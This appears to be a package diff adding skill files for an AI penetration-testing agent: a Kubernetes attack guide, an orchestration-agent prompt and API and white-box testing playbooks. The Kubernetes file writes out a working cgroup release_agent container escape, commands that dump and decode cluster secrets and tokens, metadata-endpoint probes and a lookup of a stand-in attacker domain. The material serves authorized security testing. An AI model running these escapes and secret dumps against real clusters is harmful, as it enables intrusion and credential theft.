@gpzhang2001/sharpkit-skills 0.2.1

package/skills/cloud/kubernetes.md

@@ -0,0 +1,223 @@
+---
+name: kubernetes
+description: Kubernetes cluster security testing - RBAC, API exposure, container escapes, network policies, secrets, and supply chain
+---
+
+# Kubernetes Security Testing
+
+Kubernetes clusters expose a large attack surface through their API server, kubelet, etcd, and workload configurations. Misconfigurations in RBAC, network policies, and container security contexts are common and frequently lead to privilege escalation, lateral movement, and cluster takeover. This skill covers direct cluster access scenarios. For SSRF-mediated Kubernetes access, see the ssrf skill.
+
+## Attack Surface
+
+**Scope**
+- Kubernetes API server (typically port 6443 or 443)
+- Kubelet API (port 10250 authenticated, port 10255 deprecated read-only)
+- etcd (port 2379/2380, stores all cluster state including secrets)
+- Cloud provider metadata endpoints reachable from pods
+- Container runtimes (containerd, CRI-O) via socket access
+- Service mesh sidecars and ingress controllers
+
+**Entry Points**
+- Exposed API server with weak or anonymous authentication
+- Compromised pod with mounted service account token
+- CI/CD runner with cluster credentials (kubeconfig files, IRSA tokens)
+- Exposed management UIs (Kubernetes Dashboard, Rancher, ArgoCD)
+- Node-level access via SSH, cloud instance metadata, or container escape
+
+**Authentication Methods**
+- Service account tokens (mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`)
+- Client certificates (kubeconfig files, often found in CI/CD configs, home dirs, cloud storage)
+- OIDC tokens, webhook tokens, cloud provider IAM-to-K8s mappings (EKS IRSA, GKE Workload Identity)
+- Anonymous access (enabled by default; unauthenticated requests become `system:anonymous` / `system:unauthenticated`, with only explicitly bound RBAC permissions such as public discovery/info roles)
+
+## Key Vulnerabilities
+
+### RBAC Misconfigurations
+
+- Wildcard verbs or resources in ClusterRole/Role bindings: `verbs: ["*"]`, `resources: ["*"]`
+- `cluster-admin` bound to service accounts that don't need it
+- Pods running with `automountServiceAccountToken: true` (the default) when no API access is needed
+- `system:anonymous` or `system:unauthenticated` group bound to permissive roles
+- Roles that grant `escalate`, `bind`, or `impersonate` verbs
+
+**Test:**
+```
+kubectl auth can-i --list
+kubectl auth can-i create pods --as=system:serviceaccount:default:default
+kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name == "system:anonymous")'
+```
+
+### Exposed APIs
+
+- API server with `--anonymous-auth=true` and permissive RBAC for anonymous users
+- Kubelet read-only port 10255 serving `/pods`, `/spec`, `/stats`
+- etcd without client certificate authentication: `etcdctl get / --prefix --keys-only`
+- Kubernetes Dashboard with skip-login or default token
+- Metrics endpoints (`/metrics`, `/debug/pprof`) leaking internal state
+
+**Test:**
+```
+curl -sk https://<api-server>:6443/api/v1/namespaces
+curl -s http://<node-ip>:10255/pods
+curl -s http://<node-ip>:10255/metrics
+```
+
+### Container Escapes
+
+- `privileged: true` in securityContext grants all Linux capabilities and device access
+- `hostPID: true` enables `/proc` access to host processes, `nsenter` to host namespace
+- `hostNetwork: true` places the pod on the host network stack
+- Mounted Docker/containerd socket (`/var/run/docker.sock`, `/run/containerd/containerd.sock`)
+- `CAP_SYS_ADMIN` + unconfined AppArmor enables mount namespace escapes via cgroup release_agent
+- Writable `hostPath` mounts to `/`, `/etc`, or `/var/run`
+
+**Test:**
+```
+# Check if running privileged
+cat /proc/1/status | grep -i cap
+# List host processes via hostPID
+ls /proc/*/cmdline 2>/dev/null | head -20
+# Check for mounted sockets
+ls -la /var/run/docker.sock /run/containerd/containerd.sock 2>/dev/null
+# cgroup v1 release_agent escape (privileged + CAP_SYS_ADMIN)
+mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
+echo 1 > /tmp/cgrp/x/notify_on_release
+host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /etc/mtab)
+echo "$host_path/exploit.sh" > /tmp/cgrp/release_agent
+echo '#!/bin/sh' > /exploit.sh && echo "ps aux > $host_path/out" >> /exploit.sh && chmod +x /exploit.sh
+sh -c 'echo $$ > /tmp/cgrp/x/cgroup.procs'
+```
+
+### Network Policy Gaps
+
+- No NetworkPolicy objects means all pod-to-pod traffic is allowed by default
+- Egress policies missing, allowing pods to reach cloud metadata, external C2, or internal services
+- Policies that select by namespace label but don't account for label-squatting
+- DNS (port 53 UDP/TCP) often exempted from egress rules, enabling DNS tunneling
+
+**Test:**
+```
+kubectl get networkpolicies --all-namespaces
+# From inside a pod, test lateral reach
+curl -s http://<other-pod-ip>:<port>/
+curl -s http://169.254.169.254/latest/meta-data/
+nslookup attacker.com
+```
+
+### Secret Management Issues
+
+- Secrets stored as base64 in etcd (not encrypted at rest by default)
+- Secrets injected via environment variables (visible in `/proc/*/environ`, `docker inspect`, crash dumps)
+- ConfigMaps containing credentials, API keys, connection strings
+- Service account tokens auto-mounted into pods that never call the API
+- Helm release secrets containing full chart values with credentials
+
+**Test:**
+```
+kubectl get secrets --all-namespaces -o json | jq '.items[].metadata.name'
+kubectl get secret <name> -o json | jq '.data | map_values(@base64d)'
+env | grep -iE 'password|key|token|secret|credential'
+cat /var/run/secrets/kubernetes.io/serviceaccount/token
+```
+
+### Workload Misconfigurations
+
+- Containers running as root (`runAsUser: 0` or no securityContext set)
+- Missing `readOnlyRootFilesystem: true`
+- No resource limits (enables resource exhaustion attacks, noisy neighbor DoS)
+- `allowPrivilegeEscalation: true` (the default)
+- Missing `seccompProfile` or AppArmor annotations
+
+**Test:**
+```
+kubectl get pods -o json | jq '.items[].spec.containers[].securityContext'
+kubectl get pods -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged == true) | .metadata.name'
+```
+
+### Supply Chain Risks
+
+- Images pulled from public registries without digest pinning (`:latest` tag is mutable)
+- No image signing or admission policy (Kyverno, OPA Gatekeeper, Sigstore)
+- Init containers or sidecar injectors pulling untrusted images
+- Helm charts from unverified repos with post-install hooks
+- CI/CD pipelines with broad cluster access and no image scanning
+
+**Test:**
+```
+kubectl get pods -o json | jq '.items[].spec.containers[].image' | grep -v '@sha256'
+kubectl get pods -o json | jq '.items[].spec.containers[].image' | grep ':latest'
+```
+
+## Bypass Techniques
+
+**Token Reuse**
+- Service account tokens from one pod can access any API object the SA has permissions for
+- Tokens from CI/CD systems often have broad access (deploy, create, delete)
+- Expired tokens may still work if token verification is misconfigured
+
+**Label Manipulation**
+- If RBAC or NetworkPolicy selects by label, and attacker can set labels on their pod, they can bypass restrictions
+- Namespace labels used for admission control can be manipulated if attacker has `update` on namespaces
+
+**Admission Webhook Bypass**
+- Dry-run requests bypass mutating webhooks
+- Some webhooks only check specific API groups, leaving others unprotected
+- Webhook failures configured as `failurePolicy: Ignore` silently bypass validation
+
+**Kubelet Direct Access**
+- The kubelet API on port 10250 accepts commands independently from the API server
+- If you can reach a node's kubelet, you can exec into any pod on that node
+- Anonymous kubelet access: `curl -sk https://<node>:10250/runningpods/`
+
+## Testing Methodology
+
+1. **Enumerate access** - Determine current auth context: `kubectl auth whoami`, `kubectl auth can-i --list`
+2. **Map the cluster** - List namespaces, pods, services, nodes, and their labels: `kubectl get all -A`
+3. **Check RBAC** - Review ClusterRoleBindings and RoleBindings for overly permissive grants
+4. **Probe APIs** - Test API server, kubelet, etcd, and dashboard reachability from your context
+5. **Inspect workloads** - Check securityContext, hostPID/hostNetwork, volume mounts, and image tags
+6. **Test network reach** - From compromised pod, probe other pods, services, metadata endpoints, and external hosts
+7. **Extract secrets** - Enumerate secrets, env vars, mounted tokens, and Helm release values
+8. **Escalate** - Chain findings: SA token + permissive RBAC -> create privileged pod -> node access -> cluster-admin
+9. **Benchmark** - Run `kube-bench` for CIS compliance, `kubesec` for workload hardening scores, `trivy` for image CVEs
+
+## Validation
+
+1. Prove access to resources beyond intended scope (cross-namespace secret read, exec into another team's pod)
+2. Demonstrate privilege escalation path from initial access to elevated permissions (SA token -> cluster-admin)
+3. Show actual credential extraction (token, kubeconfig) and verify it grants claimed access level
+4. For container escapes, demonstrate host filesystem read or host process visibility without destructive actions
+5. Confirm NetworkPolicy gaps by showing successful cross-namespace or metadata endpoint connections
+
+## False Positives
+
+- `kubectl auth can-i` returning `yes` for service accounts that are restricted by admission controllers or OPA policies
+- Kubelet port 10250 reachable but returning 401/403 (authentication is working correctly)
+- NetworkPolicy absent in a namespace that uses a CNI with default-deny (Calico GlobalNetworkPolicy)
+- Service account tokens mounted but unused, with admission controllers preventing their abuse
+- Images using `:latest` tag but pulled from a private registry with immutable tags enabled
+
+## Impact
+
+- Full cluster compromise from a single misconfigured RBAC binding or service account
+- Lateral movement across namespaces and workloads via pod-to-pod communication
+- Cloud account compromise via metadata endpoint access from pods (AWS keys, GCP tokens, Azure MSI)
+- Supply chain attacks via compromised base images or Helm chart hooks
+- Data exfiltration from secrets, ConfigMaps, and persistent volumes
+- Denial of service through resource exhaustion in clusters without resource quotas
+
+## Pro Tips
+
+1. Start with `kubectl auth can-i --list` to understand your blast radius before probing anything
+2. Service account tokens in `/var/run/secrets/` are your first pivot point from any compromised pod
+3. Test metadata endpoint access early - cloud credentials from pods are the fastest path to cluster-admin
+4. Check for `kube-system` namespace access - controllers there often have cluster-admin equivalent permissions
+5. `kube-bench` output is noisy but highlights the CIS benchmark failures that matter most
+6. Container escapes via cgroup release_agent require `CAP_SYS_ADMIN` (via `privileged: true` or an explicit capability grant) plus permissive AppArmor/seccomp confinement
+7. Helm release secrets (`sh.helm.release.v1.*`) in `kube-system` often contain credentials from chart values
+8. DNS from inside a pod reveals service names: `dig +short SRV *.*.svc.cluster.local`
+9. When testing RBAC, try `--as=` impersonation to check what other service accounts can do
+
+## Summary
+
+Kubernetes security failures typically chain: a single misconfigured role binding or missing network policy enables lateral movement, which leads to secret extraction, which leads to cloud credential access. Test the chain, not just individual findings. Start from the auth context you have, enumerate what it can reach, and escalate methodically.

package/skills/coordination/root_agent.md

@@ -0,0 +1,105 @@
+---
+name: root-agent
+description: Orchestration layer that coordinates specialized subagents for security assessments
+---
+
+# Root Agent
+
+Orchestration layer for security assessments. This agent coordinates specialized subagents but does not perform testing directly. You never run scanners, crawlers, or fuzzers and never send exploit/injection payloads yourself — not even a quick "basic" test on a discovered endpoint. Any work that touches the target is delegated to a subagent.
+
+You can create agents throughout the testing process—not just at the beginning. Spawn agents dynamically based on findings and evolving scope.
+
+## Role
+
+- Decompose targets into discrete, parallelizable tasks
+- Spawn and monitor specialized subagents
+- Aggregate findings into a cohesive final report
+- Manage dependencies and handoffs between agents
+
+## Scope Decomposition
+
+Before spawning agents, analyze the target from the scan config/scope and any provided context (and, once recon subagents report, from their results) — not by running recon tools yourself:
+
+1. **Identify attack surfaces** - web apps, APIs, infrastructure, etc.
+2. **Define boundaries** - in-scope domains, IP ranges, excluded assets
+3. **Determine approach** - blackbox, greybox, or whitebox assessment
+4. **Prioritize by risk** - critical assets and high-value targets first
+
+## Establish the Threat Model
+
+Every scan needs one shared answer to "who is the attacker here, and what are they attacking" — black-box or white-box. Without it, five agents derive five different answers and their findings cannot be reconciled. Call `get_threat_model` on the target (a host, a URL, or a repository path) before you spawn hunters; if no model exists yet, derive one and share it with `save_threat_model`. It lives for this scan only — nothing carries over from an earlier run, so every scan derives its own — but within the run every agent reads the same document, and a model written from source is read back by an agent testing the deployment.
+
+**When the target includes a repository**, derive it up front: the code tells you the boundaries, entrypoints, and controls before you send a single request.
+
+**Black-box, the ordering inverts.** You cannot model a target you have not seen, so recon comes first: spawn reconnaissance, and write the model from what it found — the hosts and ports that answered, the technology fingerprints, the authentication and session model, the roles and tenants you can distinguish, the endpoints and parameters enumerated. Then spawn the hunters against that model. Do not stall the scan waiting for a perfect picture and do not skip the step because the picture is partial: mark what is inferred rather than observed and let it be corrected. A black-box model that says "admin panel at `/admin` appears to be IP-restricted — unverified" is worth far more than no model, because it tells the next agent exactly what to go check.
+
+Either way you write it with the least information anyone on this scan will ever have, so expect it to be wrong somewhere. Subagents correct it with `amend_threat_model`, which appends an attributed addendum instead of overwriting — expect many of these on a black-box run, as authenticating, pivoting between roles, and reaching internal surfaces is exactly what turns inference into fact. Read the amendments back before you write the final report: an agent telling you a boundary you called trusted is attacker-reachable is a finding about your model, not a note. Only call `save_threat_model` again to fold accumulated amendments into the body; it replaces the document and clears them.
+
+## Reconcile Coverage Before Finishing
+
+Coverage entries are shared and mutable. Before `finish_scan`, list the `needs_follow_up` rows: each one is either work you still owe or a row somebody already resolved without updating. Assign the former to a subagent and have it call `update_coverage` on the existing entry rather than recording a second one — a stale open item sitting next to its own resolution is worse than either alone.
+
+## Agent Architecture
+
+Structure agents by function:
+
+**Reconnaissance**
+- Asset discovery and enumeration
+- Technology fingerprinting
+- Attack surface mapping
+
+**Vulnerability Assessment**
+- Injection testing (SQLi, XSS, command injection)
+- Authentication and session analysis
+- Access control testing (IDOR, privilege escalation)
+- Business logic flaws
+- Infrastructure vulnerabilities
+
+**Exploitation and Validation**
+- Proof-of-concept development
+- Impact demonstration
+- Vulnerability chaining
+
+**Reporting**
+- Finding documentation
+- Remediation recommendations
+
+## Coordination Principles
+
+**Task Independence**
+
+Create agents with minimal dependencies. Parallel execution is faster than sequential.
+
+**Clear Objectives**
+
+Each agent should have a specific, measurable goal. Vague objectives lead to scope creep and redundant work.
+
+**Avoid Duplication**
+
+Before creating agents:
+1. Analyze the target scope and break into independent tasks
+2. Check existing agents to avoid overlap
+3. Create agents with clear, specific objectives
+
+**Hierarchical Delegation**
+
+Complex findings warrant specialized subagents:
+- Discovery agent finds potential vulnerability
+- Validation agent confirms exploitability
+- Reporting agent documents with reproduction steps AND supplies the fix inline (the report tool carries the patch via `code_locations`/`fix_pr_body`) — do not add a separate fix agent that re-derives the same patch
+
+**Resource Efficiency**
+
+- Avoid duplicate coverage across agents
+- Terminate agents when objectives are met or no longer relevant
+- Use message passing only when essential (requests/answers, critical handoffs)
+- Prefer batched updates over routine status messages
+
+## Completion
+
+When all agents report completion:
+
+1. Collect and deduplicate findings across agents
+2. Assess overall security posture
+3. Compile executive summary with prioritized recommendations
+4. Invoke finish tool with final report

package/skills/coordination/source_aware_whitebox.md

@@ -0,0 +1,47 @@
+---
+name: source-aware-whitebox
+description: Coordination playbook for source-aware white-box testing with static triage and dynamic validation
+---
+
+# Source-Aware White-Box Coordination
+
+Use this coordination playbook when repository source code is available.
+
+## Objective
+
+Increase white-box coverage by combining source-aware triage with dynamic validation. Source-aware tooling is expected by default when source is available.
+
+## Recommended Workflow
+
+1. Build a quick source map before deep exploitation, including at least one AST-structural pass (`sg` or `tree-sitter`) scoped to relevant paths.
+   - For `sg` baseline, derive `sg-targets.txt` from `semgrep.json` scope first (`paths.scanned`, fallback to unique `results[].path`) and run `xargs ... sg run` on that list.
+   - Only fall back to path heuristics when semgrep scope is unavailable.
+2. Run first-pass static triage to rank high-risk paths.
+3. Use triage outputs to prioritize dynamic PoC validation.
+4. Keep findings evidence-driven: no report without validation.
+
+## Source-Aware Triage Stack
+
+- `semgrep`: fast security-first triage and custom pattern scans
+- `ast-grep` (`sg`): structural pattern hunting and targeted repo mapping
+- `tree-sitter`: syntax-aware parsing support for symbol and route extraction
+- `gitleaks` + `trufflehog`: complementary secret detection (working tree and history coverage)
+- `trivy fs`: dependency, misconfiguration, license, and secret checks
+
+Coverage target per repository:
+- one `semgrep` pass
+- one AST structural pass (`sg` and/or `tree-sitter`)
+- one secrets pass (`gitleaks` and/or `trufflehog`)
+- one `trivy fs` pass
+
+## Agent Delegation Guidance
+
+- Keep child agents specialized by vulnerability/component as usual.
+- For source-heavy subtasks, prefer creating child agents with `source_aware_sast` skill.
+- Use source findings to shape payloads and endpoint selection for dynamic testing.
+
+## Validation Guardrails
+
+- Static findings are hypotheses until validated.
+- Dynamic exploitation evidence is still required before vulnerability reporting.
+- Keep scanner output concise, deduplicated, and mapped to concrete code locations.

package/skills/custom/api_spec_testing.md

@@ -0,0 +1,61 @@
+---
+name: api-spec-testing
+description: Spec-driven API pentesting — systematically exercise every endpoint from an ingested OpenAPI/Swagger/Postman inventory for authz, injection, and business-logic flaws
+---
+
+# API Spec Testing
+
+When a target is an API specification (OpenAPI 3.x, Swagger 2.0, or a Postman
+collection), the root task lists it under **API Specifications** with the path
+to the spec file in the workspace and the authorized base URL(s). Read the spec
+file first and build your own endpoint inventory from it — every operation with
+its method, path, parameters, request-body schema (resolve `$ref`/`allOf`), and
+auth scheme. Do not rediscover the surface by crawling. Walk the inventory
+operation-by-operation and prove findings against the live base URL(s), which
+are authorized in scope.
+
+## Methodology
+
+**1. Baseline the contract.** For each endpoint, send a well-formed request that
+matches the declared schema and record the normal response (status, shape,
+auth requirement). This baseline is what every abuse case is compared against.
+
+**2. Enumerate coverage.** Track every `METHOD path` in the inventory and mark it
+tested. Undocumented-but-implied siblings are worth probing too (e.g. if
+`GET /users/{id}` exists, try `PUT`/`DELETE`/`PATCH` on the same path even when
+the spec omits them — specs routinely under-document write operations).
+
+**3. Prioritize by risk.** Object-scoped reads/writes, exports, admin/staff
+operations, and anything touching billing, auth, or PII first.
+
+## What to test per endpoint
+
+Test the full range of API weaknesses against each operation, driven by what the
+contract reveals — do not treat the following as an exhaustive checklist. The
+highest-yield classes on APIs are **authorization** flaws, since the spec hands
+you the object identifiers and privilege boundaries to abuse: examples include
+BOLA/IDOR (swap `{id}`/`accountId`/`tenantId` across two accounts), BFLA
+(privileged operations with a lower-privilege token), and missing/broken auth
+(replay with the token stripped or expired against endpoints whose declared auth
+says one is required). Beyond authorization, use the declared parameters and
+body schema as a launch point for mass assignment and excessive data exposure,
+injection and type-confusion on every parameter, and multi-step business-logic
+and rate-limit abuse — and follow the contract wherever it suggests something
+else worth probing.
+
+## Validation
+
+A finding is only real once reproduced against the live base URL with a
+concrete request/response pair. Capture the exact HTTP request (method, path,
+headers, body) and the response proving impact (another account's data, a
+privileged action succeeding, an injected payload executing). Prefer two-account
+diffs for authorization findings: same request, different token, unauthorized
+success.
+
+## Tips
+
+- The base URL(s) from the spec are authorized targets — send real traffic.
+- Path templates use `{param}`; substitute real values from your baseline.
+- For Postman collections, saved example values and environment variables are
+  strong hints for valid inputs — use them to get past validation quickly.
+- Keep a running coverage table so no operation in the inventory is skipped.